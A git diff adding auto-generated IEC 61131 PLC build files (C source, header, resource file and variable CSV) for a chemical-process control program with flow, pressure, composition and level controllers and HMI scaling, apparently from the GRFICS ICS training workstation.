__SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; 